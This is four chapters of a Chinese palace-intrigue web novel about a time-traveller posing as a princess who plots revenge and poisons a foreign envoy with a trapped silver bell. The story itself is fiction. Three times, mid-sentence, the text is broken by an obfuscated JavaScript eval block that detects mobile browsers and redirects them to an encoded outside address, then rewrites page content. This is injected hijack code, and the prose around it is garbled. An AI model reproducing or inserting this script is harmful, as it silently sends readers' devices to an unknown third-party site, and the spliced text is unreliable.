《长公主今天也在灭国》 1. 刺杀 大宗承德十七年春，天连着下了三天的雨。 铅灰色的水雾隐约笼括平日长公主府上那些红墙金顶的建筑，屋檐上串下来的雨线砸在地上，噼里啪啦地响。 本不该出现在闺房的刀刃似乎今天刚受过打磨，映出烛火一样鲜红的光。 “有刺客，保护公主！” 闪电从天际远远地劈下来，惊雷一声，压过侍女惊恐万分的尖叫。 刚从城外快马加鞭提来的枇杷滚落满地。 书生打扮的青年跪在彩绘莲花的冰凉地砖上，对着那把突然从他手里跳出来的匕首，恨不得把头给磕破。 边磕，边哭着解释道：“殿下，殿下明鉴啊，草民也不知道这匕首是从何而来……” “是，是他，”他似乎像是想起了什么，将手往后一指，“许竹影！是你！是你刚刚换了我的盒子！” 顺着他指控的方向，聚成一团的侍女和书生惊鸟一般散开，露出一直静默地站在最后的人。 许竹影骤然被点了名，似是有些摸不清楚状况地抬起头，对上满室打量的目光。 今日来给长公主送礼的人大多都怀着点别的心思，每个都砸了重金，打扮得花枝招展赏心悦目，就他简单地套着一身黑色，老神在在地混在最后头逗长公主养的鸟，竟是半点没有上前头去刷脸攀高枝的意思。 似乎，就是真是个来送东西的跑腿。 方才还站在他肩头上捣乱的白色的小团子受了激，炸成一个毛茸茸的球。 许竹影轻轻拍了拍它算作安抚，随即单纯地回道：“你我同窗一场，说话可不能不讲证据。” 他生得好看，一双流光溢水的桃花眼微微眯起，干净得看不出什么特别异样的想法。 “没准是你自己对殿下在外的微词信以为真，特地抓准了今天可以见到殿下的机会，想要‘为民除害’，结果老天爷都看不下去，让你拿不稳那盒子，叫匕首直接弹了出来，以戳破你图谋不轨呢？” 气氛似乎沾了外头弥漫的水雾，压得人心头喘不过气。 有侍女大着胆子，偷偷将眼珠转动了三分，去看她们坐在上头的公主。 ‘长公主''殿下今日一反从前地选了身素雅的淡色衣裙，白净的腕口翻手间露出佛珠长长的流苏。 她明媚艳丽的五官在烛火的照耀下越发得夺目晃神，唇角勾出淡淡的笑意，半点没有被这场是冲而她去的刺杀给吓到。 反而，似乎心情很好？ 侍女站的位置靠着炭盆，燥热的火气从裙角攀延而上，本是要将汗都热出的温度，她却打了个哆嗦。 长公主殿下在京中，仗着陛下与太后宠爱，是出了名的作风荒诞，干点什么都要看她的心情。 外头人几乎都猜不到她的想法，只是她们跟着公主的时间长了，能够看出一些眉头。 虽然殿下这落水后这几月脾气略有收敛，但就今儿这表现…… 就是有人要倒大霉了的前兆！ “你，”青年颤抖着，几乎快被许竹影的反驳气死，“你血口喷人！” 刺杀长公主这罪名实在太过吓人，为了保住九族的下一轮对峙几乎就要瞬间展开。 “够了。” 夏荇懒洋洋地靠在美人榻上，在侍女收拾干净那些枇杷，再用丝绢包好匕首之后终于开口。 当朝皇族姓萧，光看名字就知道，夏荇不是长公主。 她只是个普通的现代人，运气不太好穿越到这个见鬼的封建王朝。 又为了报她这具身体的灭门之仇，冒险易容，顶替了也同样死在江南的长公主。 意图就俩个字，方便。 长公主生前如此荒唐，反而更能遮掩住一些不能摆在台面上的事情。 至于今天这场刺杀…… 正常人稍微动下脑子也就能知道，长公主虽然在民间颇有些名声，也充其量也就算是一个顶级纨绔，干预不了什么真正的国家大事。 不然夏荇的顶替也不会轻轻松松就成功。 有这将匕首藏在盒中，就等着人打开之后直刺心口、一击毙命的技术，拿来刺杀她干嘛？ 就是论名声，也得是龙椅上那位昏君的优先级更高吧？ 夏荇想着，放下手中温热的茶杯，冷冷地问道：“这匕首和盒子，你都不知情？” 这样的方式实在是太过吓人，又太过惊艳。 如果她能抢先找到制作者，并说服他为她所用。 那她要复仇的计划…… 成功率会更加高。 被侍女刚刚那一嗓子尖叫喊来的侍卫持枪步入屋内，在门口黑压压地一字排开。 领头的那个用力拉了拉手中一大捆的黑色麻绳，静静地等着‘长公主’开口定罪，之后就好将人捆好带走。 当然，估计就不能竖着出去了。 青年的脸被那不知是染料还是血给染黑的麻绳吓得苍白，颤颤巍巍地大声哭道：“草民，草民本是得了家父吩咐，特地来给殿下送这江南枇杷的……” 眼泪顺着脸颊滑落，彻彻底底地弄花他脸上特地施了好几层的花白铅粉。 他说得振振有词。 “方才在春居院外，只有他过来和草民寒暄，还问家父特地放在篮子里的盒子里什么东西，被草民给呵斥过后才走的。” 许竹影嗤笑一声，淡然道：“一面之词。” 他转过身，反问今天同样得了家中命令来送礼的那群郎君：“你们说说，他那盒子里得是什么宝贝，大家伙都看不见碰不得，偏偏和他关系最差的许某一到跟前，就显出形来，往我眼睛里撞？” “送枇杷就送枇杷，他带个盒子干什么……” “你蠢啊，枇杷不是重点，盒子里的才是重点……” “他爹那个位置都卡了十多年了，病急乱投医……” “长公主殿下也算御前能说一点话……” 众人你看看我我看看你，各自的窃窃私语混在一起，压根听不清楚。 他们本就是家中不成器的那部分，素日插科打诨喝酒吹牛，读书读不明白，对于人际关系摸得那叫一个门清。 有不少人都在学堂遭过那青年的欺辱，如今落井下石，直觉得痛快极了。 脑回路简单的，当下就觉得他是逮了一个平日里用惯了的软柿子的来甩锅，看向许竹影的目光里都带着浓浓的同情。 许竹影微微一笑，对于那些落在身上的晦涩视线照单全收。 雨似乎下得更加大了，水珠从身后的没关好窗棂跳进来，沾湿他垂在身后的发丝。 夏荇看过去，正好捕捉到他嘴角还没消干净的淡淡笑意。 两个嫌疑人，一个歇斯底里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320056|167434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口吐不清，一个镇定自若，脸上就差一个写一个“我是被冤枉的公主明鉴”来证明清白。 似乎怎么看，都是前者的嫌疑要更高上一点。 侍卫和太监们拿着那把匕首翻来覆去地看，末了冲公主摇摇头，示意他们看不出来什么东西。 匕首似乎就是最普通的匕首，特地用磨刀石磨得切肉如纸，配合那个出其不意的精巧盒子，就是一场意料未及的完美刺杀。 “你！”青年恶狠狠地看着许竹影。 盒子这事本来就是私底下受贿，权贵之间心照不宣的潜规则一下被许竹影捅到明面上来，他压根就没法仔细解释！ “许竹影，”''长公主''撑着头，似乎没兴趣再听他们争辩这件事，不耐烦地道，“你可有证据，证实你没碰过这盒子？” 许竹影不接话，只是道：“他自己篮子里的东西，也该是他证实许某碰过。” 堪称心思缜密、滴水不漏。 夏荇被他这回法给气笑，手指微动，漫不经心地转动着手腕上微凉的佛珠。 鸟团子玩腻了许竹影，咻得一下又窜回到夏荇身边，在软枕上摊成一个白饼。 半晌，夏荇又问道：“那你方才回答这人问题时，怎么如此细致——” 她状似随意提起，声音不轻不重不慌不急，只是落在地上那青年耳朵里，跟救命稻草自己撞上来了没什么区别。 “你方才站那么后面，前头又都是人，是如何得知他是没拿稳摔了盒子，又如何得知，那匕首是弹了出来？” 许竹影顿了一下。 随机，又是恢复成之前那副“清纯无害”的可怜模样，从喉咙里干巴巴地挤出一句解释：“许某，眼神不错。” 就是底气似乎没那么足了。 “那许公子还真是千里眼在世，”夏荇顺着他话里的意思夸赞，“隔了这样距离，还能看清楚我跟前的动静。” 被发现了？ 许竹影藏在宽大的袖口之中的手无声握紧，又缓慢地松开。 无妨，目的应该也达到了。 许竹影倒是不在乎被‘长公主''抓住什么疑点，他换盒子的动作很快，当时周围又没有人，只要咬死不认就没证据定罪。 就是没有成功杀掉‘长公主’…… 他抬眸，冲夏荇又是温和地一笑，仿佛此刻眼底翻涌着的汹涌浪潮都是假象与错觉。 居然还是个刺团型人才。 夏荇端起侍女小心放在手边的茶，边喝边在心底评价。 无非扎手了点。 先留下。 窗外的雨好像终于变小了点，房瓦上传来淅淅沥沥的雨声。 许竹影等着夏荇的下一句话，眼神几度飘忽，飘到她身后插在那大白瓷瓶之中，正刚刚绽放的桃花。 那实在是相当吓人的一大枝桃花树，高度几乎要挑到顶上的房梁，朵朵片片都沾着春雨与烛光。 搁在如此阴郁昏头的雨天里，就是满室里唯一可以体验到点春光明媚的物件。 ''长公主’缓缓放下青瓷茶盏，随风而落的少许桃花瓣沾在她的裙角。 见许竹影一味出神，夏荇直接了当地吩咐侍卫道：“把许公子捆起来，送到云花阁去。” 末了，又追加一句叮嘱。 “捆严实点，别路上叫他跑了。” 2. 囚禁 云花阁的位置离公主所住的春居院极近，因所栽三颗上年岁的大梨树，花开之时枝条重叠，密如白云垂落，隐约笼罩了整个四方院子，故得此名。 夏荇处理完手下秘密递进来的公文后，顶着侍女们似乎若有所思的视线，撑伞推开松木制的门。 眼下正是阴云笼罩的黄昏，阁里到处都点着的灯似乎能将木头给照透，暖意渗出屋子，遥遥对着木槿色的天幕。 许竹影穿着件朴素雪袍，正披发坐在门口放的小榻上，一条足重银链松松地扣在腕口。 淅淅沥沥的小雨在地上的水洼里荡出一圈圈波纹。 光影分割藏在发间的琉璃耳坠，他稍微抬起点头望向来人.，一闪而过的璀璨华光。 微风不爽，往茶杯里落了片被雨打湿的梨花。 许竹影起身行礼道：“参见殿下。” 夏荇没打算跟他绕弯子，站在青石阶上居高临下地问他：“知道本宫为什么把你留下来吧。” 许竹影晃晃手上那条华丽且十分有用的的银链，露出一个柔和的笑。 “大抵是与下午的刺杀有关吧，”他缓缓道，“毕竟殿下差点就遭了那贼人的道，可不能不多加注意。” 若装傻充楞真能排个级别，此人不是魁首也榜上有名。 “这方院子也算京中美景。” 夏荇放下伞，挪步坐到侍女先前搬在门口的竹椅上。 许竹影坐近了点位置，态度端正地看着她，却不接话。 似乎不是很明白为何话题突然从贼人跳到了院子中的景色上去。 夏荇自顾自给自己倒了杯茶，继续道：“若许公子不招的话，在这住上一辈子，想必也是没什么意见的。” 春天赏花夏天吃梨的。 “也就是大门不出二门不迈且吃不饱穿不暖，还周围时时刻刻都有人盯着，就算哪天有个头疼脑热，或是要死了，也没法出去的程度。” 室内溢出来的光照亮了她那双认真的眸子。 夏荇仔仔细细给许竹影数过一遍各种利弊，最终将话题拐回来，重新问他道：“如何？ 许竹影垂下眼睑。 他面上还是保持着那副纯良无害的天真模样，唯独嘴角拉得极长，暴露出部分内心的阴暗想法。 ''长公主''到底养在富贵人家里的，威胁人听起来头头是道，实际根本没什么威慑力。 若是下头那些不分青红皂白就是先上一顿板子的人来，他哪里还有这全须全尾地喝茶的机会。 怕不是早就皮开肉绽、血流成河了？ “我招。” 许竹影主动端起茶壶，毕恭毕敬地给夏荇添茶。 他心思不纯，故意贴着夏荇的身子动作，拉得那银链摇摇又晃晃。 “那殿下，想要许某如何投诚？” 许竹影的声音压得很低。 怀疑他又不杀了他，还给他穿这套衣服。 难道，是看上了他这幅皮囊，想留他好好玩玩？ 京城传言里确实有过长公主殿下喜好美男。 许竹影这般想着，不动声色地拉开原本穿得十分严整的衣襟。 他右手捻起一朵落到手边的花，放在耳边玩笑道：“说起来，许某好像还未真切告知过殿下姓名？” 夏荇推开他的胸膛，反将后背贴上冰凉潮湿的木板，拉开与许竹影之间的距离。 “本宫要如何相信你是真心实意给本宫做事？” 这么快的变脸速度，怕不是真正的幕后主使。 许竹影：“……” 他噎了一下，收回手，无奈地幽幽道：“那殿下需要许某如何证明？” 言语间似乎还有某种不可言说的委屈。 “第一，”夏荇伸出一根手指横在二人中间，“本宫要做那个盒子的人。” 许竹影抬手，动作轻柔地将夏荇的手合上。 他嘴角带着微微的笑意，道：“殿下，这条不成立——” 俩人的距离刹那就又重新贴近。 凉风恰好吹过院子，许竹影放下警惕后似乎坐姿懒散不少，眼底沾着热茶熏出的红色。 “许竹影已经在这里了。” 不给他话题开口，就自己创造机会也要把话说下去。 夏荇迟疑点头，不是很想相信他这满嘴鬼话。 春天的黄昏消失得快，几句话的功夫入目就只剩下屋内渗出的光源。 ''长公主''坐在屋檐投下的阴影里，苍白透明的皮肤上只有唇色那一点点亮晶晶的红。 夏荇从袖子中变戏法一般拿出个细口小瓶。 四下寂静，许竹影只听到她用指甲轻轻敲着瓶身，古怪地道：“第二，你吃了这毒药后，本宫要你帮我做个东西。” 她站起身，离开云花阁前又扯了扯那锁链，半是提醒半是恐吓地补充：“若做不出来，你也活不了的那种。” …… 翌日就是宫宴。 当今圣上最近几年并未作出什么实绩，享乐的水平倒是日益见长，特地择了皇家行宫旁边的水禽湖，再到处都挂上琉璃宫灯与八角小铃，月出，丝竹弦乐借着缓缓水声远远地传到岸上，热闹且不突兀。 夏荇由两三个侍女小心翼翼地扶着，坐在特地放了好几层的软枕堆里。 大概是怕夜风吹得时间久了又加重病情，她穿得格外厚，满头珠翠、兔毛围脖，浓浓的脂粉之下是掩不住的疲惫与倦意。 “殿下，”侍女急得出了一头的汗，关切道，“怎么这次晕车的反应如此厉害。” 大恒官道用了几百年又不加修缮，早变得坑坑洼洼东缺西矮，马车行在上头也是一步一小颠、三步一大颠。 照理说长公主从小长在这里，本不该有这么大的问题，谁料在江南落水后一养病，身子骨又不适应上了！ 夏荇顶着眼前一阵一阵泛起的黑，抬手阻止侍女要跪下来给她按摩的动作。 她拍拍小姑娘颤抖的手，轻声道：“无妨，缓缓就行了。” 许竹影的声音从身后传来：“殿下要不要喝些酸梅水？许某多带了些。” 跟‘长公主''这种体弱的不适应一样，他纯是泡来醒神的。 夏荇回头，只见许竹影手中捧着个一看就造价不菲的镶金盒子，正站在她侍女的应该侍立的位置，一脸没睡好的困样，桃花眼下一层淡淡的乌青。 昨晚谈妥后他就被云花阁的洒扫随从撤了银链，却没换衣服，在满场的金银珠宝，锦衣华服里，素得那叫一个突出。 有娘娘很快就注意到他的脸，趁着还没开场，摇着扇闲聊打趣道：“公主许久不将驸马哄回家去，原是府上又藏了个标志的。” “别提了，”太后也越看越是满意，“她和贺家那个也是哀家糊涂，想着小时候玩闹得多也算熟悉，结果这一成亲不是那个哭就是这个闹的。” 还是这个看起来就乖巧的好，隔着权势还知道贴心。 ‘长公主’大概是被戳了痛处，不满地转身冲太后撒娇道：“娘，别说了……” 夏荇顶替身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320057|167434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 份，面对公主驸马这种格外熟悉长公主生前行径，可能随时戳破她伪装，给她添乱的人，当然是能不请回来就不请回来。 至于许竹影的身份被误会，那是纯属他那张面首脸的错。 太后笑眯眯地应，只当她扶头是还晕着气血不足，懊恼着招呼人赶紧去取特地带过来的鸽子红枣汤。 “哎，不生哀家给你指婚的气了就行。” 宫女瞧瞧捧上来的小汤盅还热着，一掀开盖子，白花花的香气迫不及待地向外跑。 握着陶瓷勺子的指间似乎也终于沾上温度，浮起一点淡淡的粉色。 许竹影看了一会儿夏荇和娘娘们的对话，不急不忙地收回视线。 手中的盒子重量并不沉，‘长公主’昨天的一个命令叫他通宵磨木头做铁针，其实就是为了其中给一个小物件加点东西。 明明是不理朝政整天享乐的公主，却在两国关系如此紧张的时候，私底下给他国使臣准备了这样一份礼物。 为什么呢？ 能在御前留下点印象的公公都是懂人心的人精，趁着还未开场的时间一位一位地收贺礼。 甚至还特地给长公主这儿派了个年岁不大的清秀小孩，站在许竹影的前面高度都不到腿。 小孩穿着不太合身的衣服，估计是师父还没培训好，怯生生地冲夏荇行礼道：“殿下吉祥。” 眼珠还止不住地冲看起来和蔼好说话的许竹影转。 ''长公主''对于这些小的会稍微收敛点脾气，但也没什么好脸色。 她随意朝后招两下手，示意许竹影将东西拿过来。 桌上零零碎碎的糕点花果散发出甜腻勾人的气味，夏荇刚喝了汤没什么胃口，倒是那小太监偷偷瞟了好几眼。 等到许竹影弯腰，小心地将盒子往他怀里放的时候，才恋恋不舍地吞下口水，含糊不清地背完师父教的吉祥话就要走。 “慢着。” 夏荇叫住他。 ‘长公主’蹙起眉，嫌弃万分地将搁在手边的桃花酥又推远了些，语气满不在乎地道：“这点心，赏你了。” 见小孩还呆愣着，她性子更加上来，隐隐有了要发火教训人的架势。 “听不懂啊？” 小太监跟走在路上平白捡到钱一样，欣喜若狂地端着盘子回去复命了。 远处鼓点的加入越发让气氛热闹起来。 许竹影抢了侍女的活，重新给夏荇布上一盘皇后偷偷塞过来的糖酥饼。 倾倒的发丝垂落身侧，他的声音恰好落在弦乐的节奏空拍之中，轻得只有夏荇可以听见。 “殿下似乎不如传言中那么冷酷无情。” 居然还会给那小孩糕吃。 夏荇瞟他一眼，又将目光重新落回面前已经聊上兴头的一众宾客。 她好像还隔在热闹的气氛之外，全身上下都看不出什么高兴，只是平静地回道:“你也没有表面看起来那么人畜无害。” “这不一样……”许竹影还想说什么。 毕竟能到达，这种在外什么评价都存在且合理的程度，还是挺稀奇的。 首席乐师果断将手上的弦一转，奏出一清脆的惊天破石声后，其余的乐声立刻如急流落水般流泻而来。 似乎宫灯都在瞬息间重新添了油，通亮明洁的烛光更将夏荇的脸衬得惨白无比。 “好了，不用说了。” ''长公主''微微歪头，终于是露出了今晚的第一次笑容。 “今晚的好戏要开场了。” 3. 动手 若要说起歌舞升平、觥筹交错，比起眼前这场特地为迎送使者而举办的宴会，到底还是差了档次。 几番热闹下去，夏荇实在吃不下桌上越堆越多的各种精致菜肴，与那道花胶鲍鱼羹僵持半天，最后挑了片果盘里水润的橙子。 酸甜的汁水在口腔爆开。 长公主去江南前似乎与圣上大吵了一架，两人的关系也就随之陷得有点尴尬。 看夏荇今天的位置离上首还有些远就能看出来，皇帝也还没原谅她，特意给她放得远点眼不见为净。 这样的安排可正中夏荇下怀。 她确实也没把握能在亲人眼前完美地演好一个人。 更别提这儿视野还不错。 怀中突然被一只修长的手塞进一个汤婆子，夏荇错愣扭头，发现又是许竹影在乐于表现。 他跪坐在夏荇身边冰凉的石砖上，跟半点感觉不到凉一样，眼珠一动不动地盯着夏荇方才看的方向。 见她扭头了，还要动动眼珠，示意夏荇接着瞧下去，别看他。 这次来大恒的使者地位个个都不一般，而其中为首，也是‘长公主’想杀的那个—— 是邻国南安的小王子，传言里国主最为宠溺的孩子。 眼下他面色潮红，还在和百官一杯一杯地拼着酒，手指的末端有个什么银色的东西在摇摇晃晃。 许竹影数着他摇晃的次数，好笑道：“殿下说要在那么小一个莲花铃里塞东西，还要设置延缓，在宴会兴头上再给人毒死，可是结结实实为难到了许某。” 岸边风大，他不知道是有意还是无意，特地不偏不倚跪在风吹过来的方向。 “照他这个玩法，大概还有一刻钟就要见阎王了。” 声音散开，轻了不少。 吊在空中、串连满场的宫铃在夜风中叮铃叮铃地响。 夏荇抱紧怀中的热源，只觉刚刚快要冻麻的身子终于是要活过来了一点。 ‘长公主’沉默一会儿，好心开口道：“许竹影，你埋在本宫府里的那几个人，似乎脑子都不太机灵。” “许某可没埋人，”许竹影眼皮都没掀一下，“草民是冲着殿下的满腹才学和花容月貌来的，此心天地可鉴。” “这话你哪天别说得自己都信了就行。” 夏荇又捻起一片橙子，不继续和他掰扯。 …… 小王子乐滋滋地和皇帝喝完酒，还没缓过上来的劲头，一拍凸出来的肚子，又醉醺醺地跑去了一众皇子那边。 南安人与大恒皆是黑发黑眸，只是在充足的阳光下肤色更加黢黑，几朝下来，一贯暗戳戳地被骂些什么不太好听的话。 如今太恒国力衰弱，更是为了避免开战对于他们这种使者千依百顺、有求必应，连说好的赠礼茶叶都翻了一倍的数目。 王子喜滋滋地搂过一个舞女的肩膀，满杯酒能抖掉半杯地与太子碰了一下。 这可是南安往前数几代都没有的待遇！ 他像是看不懂太子眼中饱含的容忍与嫌弃一般，更用力地掐着舞女纤细腰肢，脚步悬浮地走向下一位皇子。 等回了南安，他一定会被父王好好奖励…… 他只顾乐颠颠地显摆，并未注意到那个正系在手指末端，意外地合它喜好的莲花铃上，中央最大的镂空中缓缓伸出来了一排细针。 针的前端涂着黑色的毒素，借着热闹的宴会与繁杂服饰的掩护，无声无息地刺入主人的皮肤。 “好了。” 许竹影用手指轻轻点着桌面，低声道：“三。” 所有人马上都会被这里的变故吸引来视线。 “二。” 夏荇：“一。” “殿下，”许竹影失笑，“怎么还抢话呢。” 小王子从舞女的肩头直条条地滑了下去，摔出一声巨响。 以为马上就要轮到他的皇子年纪还小，端着酒杯呆愣在原地。 舞女赶紧站定，抱着自己的胳膊，紧张地站在王子旁边，想下手扶人又搞不清楚状况。 旁边的侍卫倒是极其有经验地上前来，俩人合力，熟练地给小王子翻了一个身，嘴里嘟囔道：“殿下莫慌，今日陛下拿出来的都是起码放了十年的好酒，后劲足，使者大人估计是喝高了……” 烛光与月光落在小王子的宽脸上，照亮他抽搐且痛苦的神色。 他的嘴张得极大，额头上结结实实地冒出一大片的冷汗，下巴也不受控制地抖。 侍卫努力竖起耳朵，去分辨他的话语，可几个唇形下去却没有发出什么实际的词语，哼哼的出气倒是越发急促。 “大人！”侍卫着急地摇晃他。 完成使命的精致小铃失去主人的注意与照顾，从层层叠叠的衣袖中滚出来，停在舞池边上的浮雕里。 许竹影特地留出空隙的卡扣互相分开，莲花铃张大肚子，露出藏在中央的精致机关。 “这是怎么了?” 太子冷着一张脸，挤进他们这一片的骚乱。 他的目光扫过王子明显不正常的神色，气息明显有一刻的停滞。 偏偏是这个节骨眼，还是在他眼皮子底下出的事。 他揉揉自己突突跳的太阳穴，沉声道：“都还愣在这里干什么？去传太医！南安使者有个三长两短，孤要你们都吃不了兜着走！” “殿下，”心腹捡起地上那道想让人不注意都不难的银色，摊在手中呈给太子，“这似乎是从使者大人身上掉下来的。” 今日贺礼众多，但小王子似乎格外偏爱这一枚小小的银铃，甚至特地取出来戴在了手上，满场叮叮当地晃。 “而且……” 心腹转动上面镂空的花纹，停在应该刻有匠人标志的部分。 他睁大眼睛，仔细地分辨着上面的细小文字，声音越念越低：“这，似乎是，长公主送过来的……” 长公主自诩品位独特，凡是被她看上的手艺，所用的物品，皆会盖上一方小小的梅花印。 因做工精巧且难以仿制，京中权贵大多都认识，私下更是有清客在追捧。 太子的头更加大，迟疑地念着称呼：“姑姑？” 这事儿怎么又和长公主扯上关系了！ “这边到底是怎么了，”刚刚还被他念着的人突然走到面前，皱着眉颇有意见地道，“吵吵嚷嚷的，本宫都快听不见乐声了。” ''长公主''说完，像是才看到还躺在地上、进气多出气少的小王子一样，惊讶地用手挡住嘴巴：“这，这是？” 几个太医拎着药箱，被人带着百米冲刺地跑过来救场。 他们忙着诊脉，等到四下都齐刷刷地突然寂静，开始高呼“参加陛下”时才反应过来来人，急忙欲转身行礼。 “不必，先紧着查看使者的情况。” 这位大恒的掌权者眉间萦绕着淡淡的躁郁，明显是烦极了刚才凑到御 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320058|167434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前，恐慌地叽里呱啦一通的南安人，这才下了龙椅过来。 他问道：“使者的情况怎么样了。” “回陛下的话，”太医语气迟疑，“这毒似是玄妙万分，使者又饮了酒，顷刻间就能延绵至心脉。” “治不了？” 皇帝睁开眼，看着低头不言的几位太医，又仔细打量一圈围在使者周围的人，态度终于是认真起来。 “铭儿，”他唤太子的名字，“你可有查出些什么？” 太子偷偷瞄了一眼旁边明显还在状况外的夏荇，硬着头皮道：“儿臣从使者身上寻到的凶器，似是姑姑送的贺礼。” 那群南安人听了翻译的话，已经将矛头对准‘长公主’，光听那慷慨激昂的语调就知道，说的绝对不是什么好话。 “那雪儿你说，”皇帝叹口气，“你今夜送的东西是从哪里来的。” ‘长公主’无辜地眨巴眼睛，还没搞懂话题怎么就绕到了她身上来，顶着全场的注视道：“就是府上随意打的铃铛啊，没什么特别的。” “许是被有心之人特意调换了也说不定。”太子适时插嘴，疯狂地给夏荇使眼色。 ‘长公主’却是信誓旦旦地立刻反驳：“那不可能，这铃铛用料特殊，别人不可能做出来！” 皇帝拔高音量瞪她：“那你还是特意想要刺杀使者不成！” 俩国现下关系紧张，大恒又国力衰弱，他为了避免开战没少让利，好不容易安抚好了使者。 谁料好不容易熬到送别宴，这小王子还能死了， “本宫没有！”夏荇也回呛。 “刺杀使者是重罪，”皇帝见她这态度更是气不打一处来，“你还当是和驸马置气那种儿戏呢！” 若是查不出线索，根据大恒律法，哪怕他想网开一面，长公主不死也得被贬出京城。 皇帝摇摇头，只当她是傻得被人当了挡箭牌还不自知，打圆场道：“行了，你认个错服个软，回去公主府好好抄几个月的佛经反省，给南安国一个态度，朕再派人好好去查案。” ‘长公主’的嘴抿成一条直线：“又不是本宫杀的，为什么要本宫受罚！” “那这凶器怎么会从你府上出来，”皇帝懒得和她掰扯，“还不是你管理不严，连驸马都能气回家三月。” ‘长公主’一把丢开怀里抱着的汤婆子，爆发道：“聊铃铛就聊铃铛，老是提他干什么！而且都说了不是臣妾干的，还派一群人来查案，弄丢了府上的东西怎么办！” "朕看你就是被太后惯坏了，现在还不知悔改，"皇帝手背青筋暴起，一只手颤抖地指着她，恐吓道，“南安接壤的西南几省路途遥远，更有那杀人的瘴气毒虫！你去个江南都能遇上贼寇落水，难道还真要朕公事公办，把你罚去边疆！” 周围的所有人都低下头，被这天子一怒吓得不敢吱声。 夏荇眼中闪过一丝计谋得逞的笑意。 等的就是这句。 ‘长公主’抬手，奋力打掉太子虚虚挡在她身前的阻拦。 泪水从眼中成行滑落，她一甩衣袖，仍是不知悔改，直勾勾地丢出一句“有何不可！” 满座皆是震惊。 皇帝扶着太监急忙凑上来的手，想要冷静一下，听完夏荇这话，竟是硬生生给气得笑了出来。 “好！”他看着‘长公主’扬长而去的背影，怒不可遏地冲前方吼道，“你出了京城就别给朕回来！” 4. 夜谈 云花阁里的灯早早就熄了，高脚桌上的烛台里只留下一根快要燃到尽头的蜡烛。 半凝固的蜡油还是透明的颜色。工匠塑型时洒在其中的干桂花全沉在底部，满盘星星点点的干枯褐色。 许竹影坐在雕花木床上，沉默地又撕下一页黄历。 手腕上的银链似乎做工更加精细了一点，小小的一个改版纹路歪七扭八地刻在最外层。 今日是''长公主''要出发去西南的日子。 自那日夏荇和皇帝俩人各不让步，在宫宴上闹了那一出之后，任太后娘娘怎么派人说合，明里暗里地暗示‘长公主’进宫认错，也没能改变俩位当事人的任何想法。 眼下，长公主府上各处要带走的东西都装点好了！他还没找到当初入府时要找的人！ 倒是长公主身边那个虽然长得好看，但是写作门客读作面首的傻子的名声在京中越来越响。 再这么拖下去，他也要跟着夏荇去西南了…… 卧房的门“吱呀——”一声被人轻轻推开。 许竹影迟疑地转过身，抬眼望向门边那道素色的人影。 本该早早睡下的''长公主''手中提盏琉璃灯，推了门却不进来。 她的语气十分平静，似乎真的就只是睡不着出来闲逛一般道：“许公子今夜又是在研究什么稀罕玩意？” 屋外、正开到落头的梨花被风一卷，好几片花瓣乘机飘进屋内。 淡黄色的一团光晕朦胧地散开，柔和了她原本瑞丽明媚的五官，配合那双这几天一直都波澜不惊、就没见到过什么情绪的眼睛，竟然有点…… 温柔。 许竹影一愣，把这个堪称荒谬无比的结论抛之脑后。 “殿下，”许竹影掀开被子下床，却不主动回答问题，避重就轻道，“还未就寝？” 夏荇看他重新点起好几盏油灯，终于抬脚迈进屋内。 她今晚穿得比宫宴那天薄，走进来的时候还沾着外头的梨花香。 夏荇坐上屋内唯一一把官帽椅，随意道：“就是想看看你还没找到想要的什么东西或人，今晚是不是要乘机跑了。” 某种程度上来说，算得还挺准的。 许竹影拿外袍的手一抖，又云淡风轻地给夏荇披上。 “殿下可不能这么想，”他拿起一沓厚厚的纸，在她跟前摇得哗哗响，“相处这些时日，还不能证明许某的忠心耿耿吗？” 上面都是这些天夏荇派给他的活。 夏荇看着他故作可怜的模样，有些好笑道：“本宫确实放了府上一些人走。” 琉璃灯方才被她随手搁在桌边，又被许竹影挪走，重新择了个更加合适的位置。 毕竟看着还没自己上辈子学生大的一群小姑娘赶路几月还挺闹心的。 夏荇自认还没被封建社会大染缸污染到这种没良心的地步。 “树倒猕猴散，”她状似感叹，实际目光一直没离开过许竹影的神情，“你会走，也不奇怪。” 她今夜的袖子里也放着毒药，更在云花阁外多埋了点人。 要是这姓许的有一点不对劲，光凭他知道的那些，她就不可能让他活着出去。 “殿下就别和许某开玩笑了。” 许竹影轻轻摇头，拿出一瓶前几天买的梨花蜜。 他手上缓慢搅拌那点浑浊厚重的蜜，视线重新落回夏荇的白皙的脖颈，轻声道：“西南路可很远，殿下没了我，路上郁闷了怎么办。” 至少在他找到那个跟蒸发一样的人之前。 怎么都不能暴露。 夏荇叫他的名字：“许竹影。” 